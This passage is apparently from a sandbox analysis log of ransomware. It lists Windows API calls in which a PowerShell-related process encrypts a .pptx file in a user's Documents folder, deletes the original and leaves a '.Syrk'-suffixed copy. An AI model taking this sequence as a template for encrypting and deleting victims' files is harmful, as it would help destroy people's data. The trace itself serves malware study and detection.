lpOverlapped=0x0) returned 1 [0224.836] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24241ec*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24241ec*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0224.836] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2424208*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2424208*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0224.836] WriteFile (in: hFile=0x458, lpBuffer=0x2408ac0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2408ac0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0224.836] CloseHandle (hObject=0x458) returned 1 [0224.845] CloseHandle (hObject=0x454) returned 1 [0224.904] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.904] EtwEventActivityIdControl () returned 0x0 [0224.904] EtwEventActivityIdControl () returned 0x0 [0224.904] EtwEventActivityIdControl () returned 0x0 [0224.910] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0224.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.912] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0224.912] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0224.912] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0224.912] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0224.912] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0224.912] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0224.913] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0224.913] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0224.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0224.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0224.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0224.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0224.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0224.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0224.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0224.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0224.914] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0224.915] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0224.915] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0224.915] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0224.915] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0224.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.920] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0224.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0224.920] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0224.920] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0224.920] CoTaskMemFree (pv=0x5c9a950) [0224.922] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 0x20 [0224.922] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0224.922] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx", lpFilePart=0x0) returned 0x40 [0224.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0224.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2432bc8 | out: lpFileInformation=0x2432bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a8fc3a0, ftCreationTime.dwHighDateTime=0x1d99d88, ftLastAccessTime.dwLowDateTime=0xfb0f7710, ftLastAccessTime.dwHighDateTime=0x1d99d8b, ftLastWriteTime.dwLowDateTime=0xfb0f7710, ftLastWriteTime.dwHighDateTime=0x1d99d8b, nFileSizeHigh=0x0, nFileSizeLow=0x3873)) returned 1 [0224.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0224.923] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx")) returned 1 [0224.924] EtwEventActivityIdControl () returned 0x0 [0224.925] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.925] EtwEventActivityIdControl () returned 0x0 [0224.925] EtwEventActivityIdControl () returned 0x0 [0224.925] EtwEventActivityIdControl () returned 0x0 [0224.960] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx.syrk")) returned 0x20 [0224.961] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx.syrk")) returned 0x20 [0224.962] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0224.962] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk", lpFilePart=0x0) returned 0x45 [0224.962] EtwEventActivityIdControl () returned 0x0 [0224.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.963] EtwEventActivityIdControl () returned 0x0 [0224.963] EtwEventActivityIdControl () returned 0x0 [0224.963] EtwEventActivityIdControl () returned 0x0 [0224.967] EtwEventActivityIdControl () returned 0x0 [0224.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.967] EtwEventActivityIdControl () returned 0x0 [0224.967] EtwEventActivityIdControl () returned 0x0 [0224.967] EtwEventActivityIdControl () returned 0x0 [0225.012] EtwEventActivityIdControl () returned 0x0 [0225.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.013] EtwEventActivityIdControl () returned 0x0 [0225.013] EtwEventActivityIdControl () returned 0x0 [0225.013] EtwEventActivityIdControl () returned 0x0 [0225.016] EtwEventActivityIdControl () returned 0x0 [0225.016] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.017] EtwEventActivityIdControl () returned 0x0 [0225.017] EtwEventActivityIdControl () returned 0x0 [0225.017] EtwEventActivityIdControl () returned 0x0 [0225.021] EtwEventActivityIdControl () returned 0x0 [0225.022] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.022] EtwEventActivityIdControl () returned 0x0 [0225.022] EtwEventActivityIdControl () returned 0x0 [0225.022] EtwEventActivityIdControl () returned 0x0 [0225.025] EtwEventActivityIdControl () returned 0x0 [0225.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0225.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\_E4_60KSBs_D7ZX.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\_e4_60ksbs_d7zx.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x243f3a0 | out: lpFileInformation=0x243f3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21436d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x21436d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x21c9b40, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x3894)) returned 1 [0225.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0225.031] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0225.031] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0225.032] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0225.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0225.034] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0225.034] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0225.034] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0225.035] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0225.035] GetConsoleOutputCP () returned 0x1b5 [0225.036] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0225.036] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0225.036] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0225.036] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24598cc*, nNumberOfCharsToWrite=0x3a, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24598cc*, lpNumberOfCharsWritten=0x5a2e3e0*=0x3a) returned 1 [0225.037] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0225.037] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0225.038] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0225.038] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0225.038] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0225.039] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0225.039] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0225.040] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0225.041] GetConsoleOutputCP () returned 0x1b5 [0225.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.041] GetConsoleOutputCP () returned 0x1b5 [0225.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.041] GetConsoleOutputCP () returned 0x1b5 [0225.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.042] GetConsoleOutputCP () returned 0x1b5 [0225.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.042] GetConsoleOutputCP () returned 0x1b5 [0225.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.043] GetConsoleOutputCP () returned 0x1b5 [0225.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.044] GetConsoleOutputCP () returned 0x1b5 [0225.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.044] GetConsoleOutputCP () returned 0x1b5 [0225.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.044] GetConsoleOutputCP () returned 0x1b5 [0225.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.044] GetConsoleOutputCP () returned 0x1b5 [0225.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.044] GetConsoleOutputCP () returned 0x1b5 [0225.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.045] GetConsoleOutputCP () returned 0x1b5 [0225.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.045] GetConsoleOutputCP () returned 0x1b5 [0225.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0225.045] GetConsoleOutputCP () returned 0x1b5 [0225.045] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0225.045] GetConsoleOutputCP () returned 0x1b5 [0225.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.046] GetConsoleOutputCP () returned 0x1b5 [0225.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0225.046] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0225.046] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.046] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245a248*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x245a248*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0225.047] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.047] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0225.048] GetConsoleOutputCP () returned 0x1b5 [0225.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.048] GetConsoleOutputCP () returned 0x1b5 [0225.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.048] GetConsoleOutputCP () returned 0x1b5 [0225.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.048] GetConsoleOutputCP () returned 0x1b5 [0225.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0225.049] GetConsoleOutputCP () returned 0x1b5 [0225.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.049] GetConsoleOutputCP () returned 0x1b5 [0225.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.049] GetConsoleOutputCP () returned 0x1b5 [0225.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.049] GetConsoleOutputCP () returned 0x1b5 [0225.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.049] GetConsoleOutputCP () returned 0x1b5 [0225.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.050] GetConsoleOutputCP () returned 0x1b5 [0225.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.050] GetConsoleOutputCP () returned 0x1b5 [0225.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.050] GetConsoleOutputCP () returned 0x1b5 [0225.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0225.051] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0225.051] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.051] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245a6f0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x245a6f0*, 